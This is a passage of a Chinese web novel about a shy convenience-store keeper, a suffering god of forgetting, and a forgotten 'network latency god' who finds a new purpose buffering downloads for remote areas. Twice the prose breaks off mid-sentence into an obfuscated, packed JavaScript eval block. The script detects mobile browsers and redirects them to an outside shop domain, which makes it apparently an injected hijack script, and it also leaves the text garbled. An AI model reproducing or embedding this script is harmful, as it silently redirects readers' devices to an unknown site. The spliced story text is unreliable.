简单的一句话，却比任何华丽的辞藻，都更能让林洅栖感到安心。他知道，沈砚之不是在炫耀他的力量，他只是在告诉他：你不用害怕，有我在这里，没有人可以伤害你，也没有人可以破坏你所珍视的一切。 林洅栖的眼眶，有些发热。他看着眼前这个清冷的男人，看着他那张总是波澜不惊的脸上，此刻却因为担心自己而流露出一丝紧绷，他忽然觉得，自己所有的坚强和伪装，都在这一刻，彻底瓦解了。 他不再是那个无所不能的“林神使”，他只是一个会害怕、会无助的，普通的林洅栖。 而他，也只是一个会为了他而动怒，会为了他而展露神威的，有点笨拙的，遗忘之神。 “沈砚之……”林洅栖的声音，带着一丝不易察觉的颤抖。 “嗯？” “谢谢你。” 沈砚之看着他，没有说话。他只是伸出手，轻轻地，帮他理了理因为刚才的推搡而弄乱的衣领。 那冰凉的指尖，触碰到林洅栖温热的脖颈，让林洅栖忍不住缩了缩。那触感，像一块上好的寒玉，带着一丝清冽的、令人心安的凉意。 “别怕。”沈砚之的声音，低沉而温柔，像一声叹息，“有我在。” 林洅栖抬起头，迎上他的目光。 他看到，在那双漆黑如夜的眼眸深处，不再是万古的寂寥和冰冷，而是……一片名亮的，璀璨的星河。 11. 神仙也要打零工11 那晚之后，便利店的氛围变得有些微妙。 小混混事件像一颗投入平静湖面的深水炸弹，表面波澜不惊，内里却已是暗流涌动。 林洅栖对沈砚之的感觉，彻底变了。那不再是单纯的敬畏、感激，或是那种朦胧的、说不清道不明的悸动。那是一种混杂着心疼、担忧和强烈好奇的复杂情感，像藤蔓一样，缠绕着他的心脏，每一次呼吸，都感到一阵紧缩的疼。 他开始下意识地、更加仔细地观察沈砚之。 他发现，沈砚之虽然依旧清冷如月，但身上似乎多了一丝……疲惫。不是那种熬夜后的困倦，而是一种从神魂深处渗透出来的、仿佛连神明都无法承受的倦怠。那是一种比永恒更沉重的疲惫。 有时候，他会看到沈砚之坐在角落里，一动不动地望着窗外，那双总是古井无波的眼眸里，会闪过一丝极深的、几乎无法察觉的空洞。那空洞转瞬即逝，快得像林洅栖的错觉，但林洅栖却捕捉到了。那不是放空，而是被抽离了灵魂的、短暂的死寂。 还有一次，痘神在兴奋地讨论着新推出的“祛痘面膜”配方，声音大了一些。沈砚之竟难得地蹙了蹙眉，伸手揉了揉自己的太阳穴，那是一个极其人性化的、表示不适的动作。 他的指尖依旧冰凉，但林洅栖却仿佛能感觉到，那冰冷的皮肤下，正承受着怎样的剧痛。 这些细节，像一根根细小的针，扎在林洅栖的心上，密密麻麻，绵延不绝。 沈砚之……是不是出什么事了？ 这个念头一旦产生，便疯狂地在他心底滋生。他开始翻阅那本厚重的《神明登记册》，希望能从关于“遗忘之神”的记载中，找到一些线索。 登记册上的文字古老而晦涩，大部分都在描述沈砚之的神职与权能——执掌遗忘，抹去记忆，平衡时间的流逝。但在页面的最下方，有一行用更小的、仿佛是后人补充的朱砂小字，写得潦草而急促： “神力源于‘遗忘’本身，亦为‘遗忘’所困。世间遗忘之事愈多，其神力愈盛；然，若遗忘之物，承载了凡人过重之‘情’，则反噬其神，是为‘遗忘之殇’。” “遗忘之殇？”林洅栖喃喃自语，他无法完全理解这句话的含义。遗忘，不就是应该是一件轻松的事情吗？忘记痛苦，忘记烦恼，才能轻装前行。为什么还会“反噬”？ 他合上登记册，心中的疑惑却越来越重，像一团浓得化不开的墨。 这天下午，阳光正好，便利店里人不多。一个白发苍苍的老奶奶，颤颤巍巍地走了进来。她没有买东西，只是径直走到收银台前，看着林洅栖，浑浊的眼睛里充满了迷茫和悲伤。 “孩子……你有没有，看到一个蓝色的保温杯？”她问，声音很轻，带着一丝颤抖，“那是我老伴儿给我买的，他走之前，特意嘱咐我，冬天一定要喝热水……我刚才还放在这儿，怎么一转眼，就找不到了……” 林洅栖的心一紧。他记得这个老奶奶，她昨天也来过，当时她的老伴儿还陪着她。老爷爷精神矍铄，虽然话不多，但一直紧紧牵着老奶奶的手，眼神里满是宠溺。 林洅栖帮她找遍了整个便利店，都没有找到那个蓝色的保温杯。 “奶奶，您是不是记错了？您昨天来的时候，没有带保温杯啊。”林洅栖小心翼翼地说。 “没有？”老奶奶愣住了，她茫然地看着自己的双手，“是吗……我好像……不记得了……” 她喃喃地转身，失魂落魄地走了出去。看着她孤独的背影，林洅栖的心里很不是滋味。他知道，老爷爷已经去世很久了，或许，这只是她记忆里一个反复出现的、温暖的幻觉。 就在这时，他眼角的余光，瞥见了角落里的沈砚之。 他看到，沈砚之正低着头，一只手紧紧地捂着胸口，另一只手的手背上，青筋暴起，像盘踞的虬龙。他那张总是白皙如玉的脸，此刻竟苍白得没有一丝血色，近乎一种透明的灰败。他的身体在微微发抖，仿佛正在承受着巨大的、无法言喻的痛苦。 林洅栖的心，猛地一沉，仿佛坠入了无底的深渊。 他立刻冲了过去，蹲下身，紧张地问：“沈砚之！你怎么了？你是不是不舒服？” 沈砚之缓缓地抬起头，他的嘴唇没有一丝血色，那双漆黑的眼眸里，是林洅栖从未见过的、深不见底的痛苦。那痛苦像一片黑色的海洋，几乎要将他自己也吞噬进去。 “我没事。”他勉强吐出三个字，声音沙哑得厉害，像被砂纸打磨过。 “你还说没事！”林洅栖急了，他想去扶他，却又不敢碰，“你到底怎么了？是不是因为刚才那个老奶奶？” 沈砚之没有回答，只是闭上了眼睛，长长的睫毛在苍白的脸上投下一片脆弱的阴影，仿佛连说话的力气，都被抽干了。 林洅栖看着他痛苦的样子，心疼得像被刀割一样。他忽然想起了登记册上的那句话——“承载了凡人过重之‘情’，则反噬其神”。 难道…… 一个大胆而可怕的猜测，在他的脑海中，慢慢成形，让他不寒而栗。 他守在沈砚之身边，直到傍晚，沈砚之的脸色才渐渐恢复了一些。他看起来，像是大病了一场，整个人都透着一股虚弱的气息。 “你到底……在承受什么？”林洅栖看着他那双依旧带着疲惫的眼眸，轻声问。 沈砚之沉默了很久，久到林洅栖以为他不会回答了。便利店里只有奶糖偶尔发出的、轻微的呼噜声。 “你真的想知道？”他终于开口，声音里带着一丝自嘲，那笑容比哭还难看。 林洅栖用力地点了点头，眼神里没有丝毫退缩。 沈砚之看着他，那双深邃的眼眸里，情绪翻涌，最终，却化为一声悠长的叹息，那叹息里，承载了万古的苍凉。 “我的神力，来自于‘遗忘’。”他缓缓地说，每一个字，都像是从神魂深处艰难地挤出来，“但你们凡人，并不知道‘遗忘’的真正代价。” “凡人总以为，遗忘是一件好事。忘记痛苦，忘记悲伤，忘记那些不想再记起的人和事。他们向我祈祷，希望我能帮他们抹去这些记忆。” “我能做到。我可以像删除文件一样，精准地找到那些记忆片段，然后将它们彻底抹去。每一次成功的‘遗忘’，都会化为纯粹的神力，滋养我的神格。” “但是，”他的话锋一转，声音里带上了一丝冰冷的寒意，“你们是情感生物。你们的记忆，不是孤立的文件，而是一张巨大的、相互关联的网。当你抹去一段痛苦的记忆时，那些与它交织在一起的、珍贵的、温暖的记忆，也会一同被撕裂，被磨损。” 林洅栖的心，狠狠地揪了一下，疼得他几乎无法呼吸。 “比如，一个想要忘记失恋痛苦的人。我抹去了他关于背叛和争吵的记忆，但同时，他也会忘记他们曾经在海边看过的日出，忘记他们第一次牵手时的心跳，忘记那些曾经让他觉得无比幸福的瞬间。他的世界，确实不再痛苦了，但也变得……空洞了。” “再比如，一个想要忘记亲人离世之痛的人。我抹去了他关于医院和葬礼的记忆，但同时，他也会忘记亲人临终前最后的叮嘱，忘记童年时温暖的拥抱，忘记那些刻在骨子里的、关于爱的细节。” 沈砚之的声音越来越低，越来越沙哑，像一把生锈的刀，在林洅栖的心上反复地割 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16883454|192008||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “这些被‘选择性遗忘’的情感，它们并没有真正消失。它们变成了……无法消化的、沉重的情绪残渣。它们无法回归时间的洪流，也无法被我吸收，只能……堆积在我的神魂里。” “每一次，当一个凡人为了逃避痛苦而向我祈祷时，我都要替他，承担那份被抛弃的、承载着‘爱’的记忆碎片。那些碎片，像无数把锋利的刀，在我的神魂里，反复切割。日复一日，年复一年，从未停止。” 林洅栖的呼吸，彻底停滞了。 他终于明白了。 他终于明白了，为什么沈砚之的眼眸里，总是带着化不开的寂寥。为什么他身上，总是萦绕着那种与世隔绝的清冷。 因为他，就是一座活着的、承载了世间所有“被抛弃的爱”的坟墓。 “刚才那个老奶奶……”林洅栖的声音，颤抖得不成样子。 “她不是在找保温杯。”沈砚之闭上了眼睛，脸上露出了痛苦的神色，“她是在潜意识里，想要找回她丈夫临终前，对她说的最后一句话。但她太痛苦了，她的本能，在向我祈祷，希望我能帮她忘记这份思念。” “我拒绝了。因为一旦我抹去了这份思念，她生命中最后一份关于她丈夫的、最珍贵的温暖，也就消失了。但仅仅是她这份‘想要遗忘’的意念，就足以让我……感受到那份被撕裂的痛苦。” 林洅栖的眼泪，再也忍不住，夺眶而出。 他看着眼前这个男人，这个为了不让凡人失去最后的温暖，而独自承受着世间所有情感碎片的、孤独的神。 他一直以为，沈砚之是强大的，是无坚不摧的。可他现在才发现，他的强大，是建立在最残忍的自我牺牲之上的。他的清冷，不是高傲，而是被无尽的痛苦浸泡后，唯一的保护色。 “你这个……笨蛋！”林洅栖哽咽着，骂出了一句连他自己都想不到的话。 他伸出手，不顾一切地，紧紧地抱住了沈砚之。 那个拥抱，很用力，带着一种豁出一切的决绝。他想用自己的体温，去温暖他那颗被冰封了千年的心。他想用自己的拥抱，去分担哪怕万分之一的、他的痛苦。 沈砚之的身体，在那一刻，猛地一僵。 他感受着怀中那个温暖而颤抖的身体，感受着那股不属于他的、带着凡人温度的泪水，浸湿了他胸前的衣襟。 他那颗早已习惯了孤寂与冰冷的心，仿佛被什么东西，狠狠地撞了一下。 那是一种……陌生的、滚烫的、让他几乎想要落泪的感觉。 他缓缓地，抬起手，犹豫了很久，最终，还是轻轻地，落在了林洅栖的背上。 “林洅栖……”他的声音，低沉而沙哑，带着一丝他自己都未曾察觉的、近乎于脆弱的颤抖，“别这样……” “我不！”林洅栖把脸埋在他的怀里，声音闷闷的，“你为什么不告诉我？你为什么要一个人扛着？你不是遗忘之神吗？你为什么不能把这些痛苦，也一并忘了？” “我忘了……”沈砚之的声音里，带着无尽的悲凉，“我忘了我是谁，我忘了自己存在了多久，我忘了这世间万物……可我唯独，忘不了这些。” “因为它们是‘爱’的残骸。而‘爱’，是连神，都无法彻底遗忘的东西。” 林洅栖的心，彻底碎了。 他抱得更紧了，仿佛想将自己整个人，都揉进沈砚之的身体里。 “沈砚之，”他抬起头，泪眼婆娑地看着他，眼神里却闪烁着一种前所未有的、坚定的光芒，“从今天起，我帮你。” “我帮你，记住它们。” “我帮你，记住那些被遗忘的爱。” 12. 神仙也要打零工12 “有间便利店”的“人间烟火气”，像一锅文火慢炖的老汤，愈发浓郁醇厚。忘带钥匙神的神龛前，香火虽非真火，却比任何寺庙都更“灵验”，功德箱里的零钱和硬币，叮当作响，是他重获新生的证明。痘神成了小有名气的“皮肤界活菩萨”，甚至有粉丝寄来了自己手工制作的感谢信和润喉糖。 林洅栖变了。他不再是那个会因陌生人一个眼神就蜷缩进壳里的少年。他的身姿依旧清瘦，但眉眼间却多了一种舒展的、被阳光亲吻过的从容。他会和来取钥匙的上班族聊聊天气，会耐心地教来买零食的小学生如何看生产日期，甚至会和忘带钥匙神一起，研究如何用新的符咒材质，来增强“守护”的寓意。 他发现，当他真正开始关心“他人”时，那个曾经让他恐惧的“世界”，便也向他露出了温柔的一面。 而沈砚之，依旧是那个沉默的守护者。他身上的“遗忘之殇”并未因林洅栖那个拥抱而消失，但似乎……被抚平了一些。 林洅栖的关心，像一剂温和的麻药，虽不能根治病痛，却能让那无休止的切割，变得可以忍受。他依旧会因世间的“选择性遗忘”而感到痛苦，但每当这时，他只要一抬头，看到林洅栖在店里忙碌的身影，那片神魂深处的黑暗，就会被撕开一道小小的口子，透进一丝光来。 他开始更频繁地整理货架，会在林洅栖熬夜时，默默为他煮好一杯安神的蜂蜜水，甚至有一次，林洅栖抱怨店里的网络又卡了，视频加载不出来，第二天，店里的路由器就被换成了一个最新型号的，信号满格，流畅得不像话。 林洅栖看着那个崭新的路由器，又看了看正假装在看书的沈砚之，心里暖洋洋的。他知道，这是沈砚之用他自己的方式，在笨拙地对他好。 然而，这份宁静，很快就被一阵不和谐的“卡顿”打破了。 那是一个寻常的午后，林洅栖正用手机查看“痘痘护理小课堂”的后台数据，页面却突然开始无限转圈圈，视频加载条走到一半就顽固地停住。他习惯性地刷新，结果直接弹出了“网络连接已断开”的提示。 “又卡了？”他有些烦躁地嘟囔了一句。 就在这时，便利店的门“吱呀”一声，被一阵微弱的、仿佛信号不良的电流声推开。 一个瘦小的、穿着一身洗得发白的蓝色连帽衫的少年，出现在门口。他看起来不过十六七岁的年纪，脸色有些苍白，眼神里充满了不安和自卑。他怀里紧紧地抱着一个老式的、屏幕已经裂了几道纹路的笔记本电脑，电脑的电源指示灯，在一明一暗地闪烁着，像一颗濒死的心脏。 林洅栖的心里“咯噔”一下。他认得他。 他就是《神明登记册》上的，“网络延迟神”。 一个在拨号上网时代，因为人们祈祷“网络再快一点，别卡了”而被供奉起来的神明。那时的他，是信息高速公路的开拓者，是连接世界的使者，人们渴望他的“加速”，哪怕只是快上0.1秒。 可现在，他看起来……比之前的忘带钥匙神还要落魄。他的身体呈现出一种半透明的、带着“马赛克”质感的状态，仿佛随时都会因为信号不好而彻底消失在空气里。他抱着那台破旧的笔记本电脑，像是抱着自己唯一的、已经无法被世界识别的身份。 “你……你好。”林洅栖站起身，放柔了声音。 网络延迟神像是受惊的兔子，猛地后退了一步，警惕地看着他。“你……你是谁？这里……这里信号不好……” “这里是‘有间便利店’，我是店长，林洅栖。”林洅栖指了指墙角那个崭新的路由器，“我们这里信号很好，你先进来吧。” “信号好？”少年抬起头，浑浊的眼睛里闪过一丝绝望，“没用的……现在哪里信号都很好……5G、千兆光纤……没人需要我了……他们讨厌我，他们骂我，说我是‘460’（游戏延迟的代名词），是‘加载条’……” 他的声音里带着无尽的委屈和迷茫。 “我以前……是英雄啊。”他抚摸着怀里的旧电脑，喃喃自语，“在大家还在用电话线拨号的时候，是我，让他们能更快地看到一张图片，听到一首歌。他们叫我‘加速之神’……可是现在，我成了‘延迟’的代名词……我……我快要被彻底格式化了……” 说着，他的身体变得更加模糊，甚至连声音都开始出现断断续续的电流杂音：“我……我……我……” “别怕！”林洅栖急切地打断了他，他怕再这样下去，这位神明会当场“掉线”。 他看着少年那张写满痛苦的脸，又想起了沈砚之那部空白的通讯录，想起了忘带钥匙神那串冰冷的钥匙。被时代抛弃，被需求遗忘，原来是这样一种，连存在本身都变成了一种错误的、彻骨的悲哀。 “不！不是的！”林洅栖急切地说，“他们不是不需要你了，只是……只是他们用错了你的能力！” “用错了？”网络延迟神抬起头，像断了线的木偶，眼中只有空洞。 “对！”林洅栖的大脑飞速运转起来，他开始分析现代社会的网络生态。 5G很快，千兆光纤很快，但这种“快”，是有范围的。它像一条宽阔平坦的高速公路，只通向繁华的都市。而在那些偏远的山区，那些信号塔难以覆盖的角落，网络依旧是奢侈品。 林洅栖的脑海里，浮现出一些他从纪录片里看到的画面：在云雾缭绕的大山深处，孩子们要走几个小时的山路去上学，他们的教室可能只有一间，老师是唯一的坚守者。那里的世界，很小，小到只有眼前的大山和头顶的蓝天。网络，对他们来说，是通往外面世界的唯一一扇窗，可那扇窗，却总是被厚厚的雾气遮挡。 那里的孩子们，可能为了加载一节网课，要对着转圈圈的屏幕等上半小时，那缓慢的进度条，像是在一点点消磨他们的耐心和希望。那里的老人，可能想和远在城市打工的子女视频，却只能看到一张模糊不清、不断卡顿的马赛克脸，听着断断续续的电流声，连一句完整的“我想你”都说不出口。在海岛上的灯塔看守人，在戈壁滩上的地质勘探员，在雪域高原上的边防战士……他们被物理的隔绝，困在了一个信息的孤岛上。 在这些地方，他们需要的不是极致的“快”，而是稳定的“通”。他们需要的，是一个能将微弱的、断断续续的信号，缓冲、整理、再稳定地传递出去的……守护者。 而“网络延迟神”，他的神职，不就是“延迟”和“缓冲”吗？他不是“加速”，而是“优化”！他能让不稳定的连接，变得可以忍受！ 一个全新的、大胆的计划，在林洅栖的脑海中，瞬间成型。 “我有一个办法！”林洅栖的眼睛里，重新燃起了光芒，“一个能让你重新被需要，重新成为守护者的办法！” 网络延迟神看着他，眼神里充满了怀疑和一丝渺茫的希望。 “你说。” “我们可以在店里，设置一个‘网络优化服务站’！”林洅栖越说越兴奋，“你的神力，不是用来让快变得更快，而是用来让慢，变得不那么慢！” “我们可以为那些网络信号不好的偏远地区用户，提供‘数据缓冲’服务！他们可以把需要下载的大文件，比如网课视频、学习资料，先上传到你的‘服务器’里——就是你的这台笔记本电脑！然后，你用你的神力，在后台慢慢地、稳定地下载，等下载完成了，再通知他们来取！” “这样一来，他们就不需要守在电脑前，眼巴巴地等着那个永远走不完的加载条了！他们可以把时间，用在更重要的事情上！你就是他们的‘数据缓冲守护神’！” 网络延迟神彻底愣住了，他抱着那台破旧的电脑，呆呆地看着林洅栖，仿佛在听一个天方夜谭。 “可是……可是我的神力，是‘延迟’啊……我只会让东西变慢……” “不！”林洅栖摇了摇头，眼神无比坚定，“你的神力，是‘缓冲’！是‘优化’！就像水库，不是让水流变慢，而是为了在干旱时，能有稳定的水源供应！你不是延迟，你是保障！” “保障……”网络延迟神喃喃地重复着这个词，他那双空洞的眼睛里，第一次，重新亮起了一点微弱的光。 就在这时，一个清冷的声音，从角落里传来。 “想法很好，但有两个致命问题。” 林洅栖回头，看到沈砚之不知何时已经放下了书，正看着他们，眉头微蹙。 “什么问题？”林洅栖问。 “第一，信任。如何让凡人相信，一个连门面都破破烂烂的便利店，能处理他们重要的数据？他们的隐私如何保障？” “第二，技术。你的神力，真的能对抗物理定律吗？在信号几乎为零的地方，你如何‘下载’？” 沈砚之的两个问题，像两盆精准的冰水，浇在了林洅栖刚刚燃起的火焰上。 是啊，他只想到了“情怀”，却忽略了最核心的“技术”和“信任”问题。 网络延迟神眼里的光，又黯淡了下去。“你看……我就说……没用的……我……我……”他的身体又开始出现断断续续的闪烁。 “不！有办法！”林洅栖却猛地抬起头，眼神里燃烧着一种不服输的倔强，“问题，是用来解决的！” 他走到沈砚之面前，像是在请教，也像是在辩论。 “第一个问题，信任！我们可以用‘神明’来做背书！我们就在店门口，立一个‘数据缓冲守护神’的神龛！我们可以设计一个专属的logo，一个由‘缓冲图标’和‘守护盾牌’组成的标志！凡人看到这个标志，就会知道，这里有一位神明在守护他们的数据！” “第二个问题，技术！”林洅栖深吸一口气，说出了自己最后的想法，“我们可以……利用‘延迟’本身！” “利用延迟？” “对！”林洅栖解释道，“你的神力，不是‘加速’，而是‘等待’！我们可以创建一个云端队列！用户把下载链接发给我们，我们把它放进队列里。你的神力，就像一个超级耐心的‘下载器’，它不需要速度，它只需要‘时间’！你可以用你的神力，去‘捕获’那些在空气中飘散的、微弱的信号碎片，哪怕一个字节一个字节地收集，用几天，甚至一个星期的时间，总能把一个完整的文件拼凑出来！” “这就像……在沙漠里，用一张非常细密的网，一滴一滴地收集露水。虽然慢，但总能收集到！而别人，都做不到这一点！只有你，‘网络延迟神’，才能做到！” 网络延迟神彻底呆住了。 他看着眼前这个年轻人，看着他为了一个素不相识的神，而绞尽脑汁，滔滔不绝。他感觉自己那颗快要因为被嫌弃而“宕机”的核心，像是被一股温暖的、强大的电流，重新激活了。 沈砚之看着林洅栖，那双漆黑的眼眸里，也泛起了他自己都未曾察预的、欣赏的波澜。这个总是害羞、总是低着头的年轻人，在决定要帮助别人的时候，身上会爆发出一种令人无法忽视的光芒。那光芒，比他见过的任何星辰，都要耀眼。 “我……我愿意！”网络延迟神激动地握紧了拳头，他走到林洅栖面前，深深地鞠了一躬，“谢谢你！林……林神使！我愿意试试！” “别叫我神使了，叫我林洅栖就好。”林洅栖赶紧扶起他，脸上露出了灿烂的笑容。 说干就干。 林洅栖立刻在网上订购了一个高性能的NAS（网络附属存储），作为“数据缓冲服务器”。网络延迟神则激动地抱着他那台旧电脑，开始设计“数据缓冲守护神”的logo和神龛。他画得极其认真，那闪烁的马赛克手指，在触摸板上创造出了一个流畅而充满科技感的标志——一个由无数“0”和“1”组成的、正在被盾牌守护的缓冲图标。 沈砚之虽然没有再说什么，但他却默默地，拿出了工具，开始为这个新的“服务站”，搭建一个专属的、带有防静电功能的机柜。 几天后，一个充满未来感和神圣感的“数据缓冲守护神服务站”，在“有间便利店”的一角，正式成立了。 神龛里，没有神像，只有一块显示屏，上面循环播放着网络延迟神亲手设计的logo。 神龛下面，是崭新的NAS机柜，旁边，还立着一块小黑板，上面是林洅栖用粉笔写的、可爱的宣传语： 【网课卡成PPT？视频变马赛克？别怕！数据缓冲守护神在这里为你护航！】 【专属云端队列，离线下载服务，让你的等待，变得更有价值！】 【本服务免费，随心随喜，功德箱就在旁边哦~】 林洅栖看着自己的杰作，满意地点了点头。他转头，看到网络延迟神正紧张地搓着手，眼神里充满了期待和不安。 “别担心，会有人来的。”林洅栖安慰道。 然而，一天过去了，两天过去了，一个星期过去了，那个“数据缓冲服务站”，依旧无人问津。没有一个顾客，能理解这个听起来就很复杂的服务是什么意思。 网络延迟神的神情，一天比一天沮丧。他开始怀疑，林洅栖的计划，是不是真的行不通。 林洅栖也开始有些着急，但他依旧强装镇定，每天都把机柜擦得锃亮，把小黑板上的字描了一遍又一遍。 转机，发生在一个周末的下午。 一个背着巨大登山包、皮肤黝黑的男人，走进了便利店。他看起来风尘仆仆，眼神里带着一丝焦急。他的嘴唇干裂，脸上带着被高原紫外线灼伤的痕迹，但那双眼睛，却像山涧里的泉水，清澈而坚韧。 “老板，请问……你们这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16883455|192008||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里，有……有网络吗？”他有些不好意思地问，“很稳定的那种。” “有啊，我们这里信号满格。”林洅栖指了指路由器。 “太好了！”男人像是松了一口气，他从背包里拿出一个平板电脑，递给林洅栖，“我是西部山区支教老师，我们那边信号特别差，孩子们下周要参加一个线上绘画比赛，需要下载一个很大的教学软件，大概有5个G。我在镇上等了两天了，用遍了所有能用的网，每次下载到一半就断了……” 他顿了顿，眼神里流露出一丝无奈和疲惫。 “我们那儿的学校，建在半山腰上，只有一根孤零零的电线杆，上面挂着一个信号放大器。天气好的时候，还能勉强发个微信。一刮风下雨，就彻底和世界失联了。孩子们最大的娱乐，就是趴在教室的窗户上，看远方的云。他们从来没见过真正的海，没见过摩天大楼，这个绘画比赛，是他们唯一能‘走出去’看看的机会……” 支教老师的话，像一把重锤，狠狠地敲在了林洅栖的心上。他仿佛能看到，在那遥远的大山里，一群孩子，正围着一台小小的、屏幕布满划痕的旧电脑，眼巴巴地盯着那个永远在转圈的加载图标，他们的眼睛里，闪烁着和这个支教老师一样，对世界的渴望。 林洅栖的心，猛地一跳。 机会来了！ “老师，你看看这个！”他立刻将男人引到了“数据缓冲守护神服务站”前，开始详细地解释他们的服务。 支教老师听得一愣一愣的，他无法理解这种“玄学”般的下载方式。 “你的意思是……你们能把软件下载好，然后……再拷贝给我？” “对！你把下载链接给我们，剩下的，就交给我们神明！”林洅栖指了指那个闪烁的logo，一脸认真。 支教老师看着林洅栖那张真诚的脸，又看了看那个充满科技感的服务站，犹豫了。5个G的软件，对他来说，是孩子们接触外面世界的一扇窗，太重要了。 “……好吧，我试试。”他最终还是决定相信这个看起来有点奇怪的便利店老板。 林洅栖立刻将下载链接，输入了网络延迟神创建的“云端队列”。 网络延迟神紧张地坐在电脑前，他那双半透明的手，在键盘上飞快地敲击着。林洅栖看不懂屏幕上那些滚动的代码，但他能看到，网络延迟神的身体，正在发出微弱的、蓝色的光芒。 他正在用自己的神力，去“捕获”那些来自遥远服务器的数据包。 “老师，你先回去吧，一个星期后，你来取就行。”林洅栖说。 支教老师将信将疑地留下了联系方式，离开了。 接下来的一个星期，成了网络延迟神的“战斗周”。他几乎不眠不休，全身心地投入到那5个G的数据下载中。林洅栖看到，他的身体时而变得清晰，时而变得模糊，有时甚至会因为信号太差而“卡顿”在原地，一动不动。 但他没有放弃。 一个星期后，当支教老师再次来到便利店时，林洅栖将一个存满了资料的U盘，交到了他的手中。 “好了，老师，全在里面。” 支教老师难以置信地将U盘插入自己的平板，当他看到那个安装包，完整地、静静地躺在那里时，他激动得说不出话来。 “真的……真的下载好了！你们……你们是怎么办到的？”他看着林洅栖，又看了看旁边那个脸色苍白、却带着一丝骄傲的少年，眼中充满了感激和敬畏。 “是‘数据缓冲守护神’的功劳。”林洅栖笑着说。 支教老师从钱包里拿出所有的现金，硬要塞给林洅栖。 “不不不！我们这是免费的！”林洅栖赶紧摆手。 “那怎么行！你们帮了我们大忙了！这些孩子们，会一辈子感谢你的！”老师说着，看到了旁边的功德箱，他想了想，将那些钱，整整齐齐地叠好，投了进去。 “孩子，这是我们的心意，也是给这位……‘数据缓冲守护神’的香火钱！希望他能保佑我们山里的孩子，也能连接上这个精彩的世界！” 就在那一沓钱投进功德箱的瞬间，网络延迟神猛地浑身一震。 他感觉到，一股温暖而纯净的、带着“被需要”和“被感激”的信仰之力，从功德箱里溢出，像金色的溪流，缓缓地，流入他的身体。 他那带着马赛克质感的身体，以肉眼可见的速度，变得凝实、流畅。他身上的蓝色连帽衫，也仿佛被重新渲染，变得鲜艳而挺括。他怀里那台破旧的笔记本电脑，屏幕上的裂纹竟也慢慢愈合，散发出全新的、属于科技的光芒。 他看着那个支教老师，又看了看林洅栖，浑浊的眼睛里，第一次，流下了滚烫的、由“0”和“1”组成的、滚烫的泪水。 那不是悲伤的泪，而是……重获新生的、喜悦的泪。 当晚，支教老师的故事，通过他的朋友圈，在某个支教志愿者群里，开始慢慢传播。 “数据缓冲守护神”的名声，开始在这个小小的、被高速网络遗忘的圈子里，慢慢传开。 越来越多的人，开始将他们需要的资料链接，发到林洅栖的邮箱。他们有的是偏远地区的医生，需要下载最新的医学文献，为山里的病人看病；有的是海岛上的科研人员，需要同步研究数据，监测海洋环境的变化；还有的，只是想给远方的家人，下载一部他们永远无法在线流畅观看的电影，让他们知道，外面的世界，是什么样子。 那个小小的NAS机柜里，开始存储了各种各样的“希望”。每一个文件，都代表着一份沉甸甸的信任和感谢。 而网络延迟神，也彻底变了样。 他不再是那个自卑、落魄的少年。他变得神采奕奕，脸上总是带着自信而专注的微笑。 他甚至开始主动研究各种网络协议和数据压缩技术，他的神力，也从单纯的“延迟”，进化成了更高级的“数据优化”和“信号聚合”。 他不再是“被嫌弃的神”，他重新成为了“连接”的守护者。 林洅栖看着这一切，心里充满了前所未有的成就感。他发现，帮助别人，原来是一件这么快乐的事情。 这天晚上，他送走了最后一个来拷贝资料的顾客，正准备关门，沈砚之却走了过来。 “做得很好。”沈砚之说。 “还……还行吧。”林洅栖有些不好意思地挠了挠头。 “你给了他一个新的‘服务器’。”沈砚之看着那个闪烁着蓝色指示灯的机柜，缓缓地说，“也给了他一个新的‘端口’。” “我只是……做了我该做的。”林洅栖说。 沈砚之转过头，看着他，那双漆黑的眼眸里，映着便利店温暖的灯光，也映着林洅栖那张带着笑意的、年轻的脸。 13. 神仙也要打零工13 “数据缓冲守护神”的传说，像一株在数字荒原上悄然绽放的蒲公英，乘着看不见的风，将希望的种子，播撒到了一个个被高速网络遗忘的角落。 “有间便利店”不再仅仅是一家便利店，它成了一个中转站，一个连接点，一个在信息时代里，为那些“掉线”的灵魂，提供“缓冲”的港湾。林洅栖的邮箱里，开始塞满了来自天南海北的求助邮件。每一封邮件背后，都是一个渴望连接的故事，一个被物理隔绝的世界。 他看到了来自南海某岛屿的灯塔看守人，希望能下载最新的气象导航软件，以应对即将到来的台风季；他看到了来自西北戈壁滩的石油勘探队员，需要一份巨大的地质数据库，来确定下一口钻井的位置；他还看到了来自雪域高原的边防哨所，战士们想看一场完整的春节联欢晚会，而不是那个卡顿得只剩下幻灯片的直播。 这些邮件，像一封封来自远方的信笺，用最朴素的语言，描绘着最深沉的渴望。林洅栖将这些链接一一整理，交给网络延迟神——现在，他已经有了新的、更响亮的名字：“数据缓冲守护神”，或者，大家更喜欢叫他“缓冲君”。 缓冲君变了。他不再是那个半透明的、随时会“掉线”的少年。他的身体凝实而稳定，那身洗得发白的蓝色连帽衫，也换成了一件印有他亲手设计的logo的黑色T恤，看起来专业又干练。他坐在那台崭新的、被沈砚之加固过的服务器前，眼神专注而自信。他的手指在键盘上飞舞，屏幕上滚动的代码，不再是混乱的乱码，而是一首首由“0”和“1”谱写的、充满希望的交响曲。 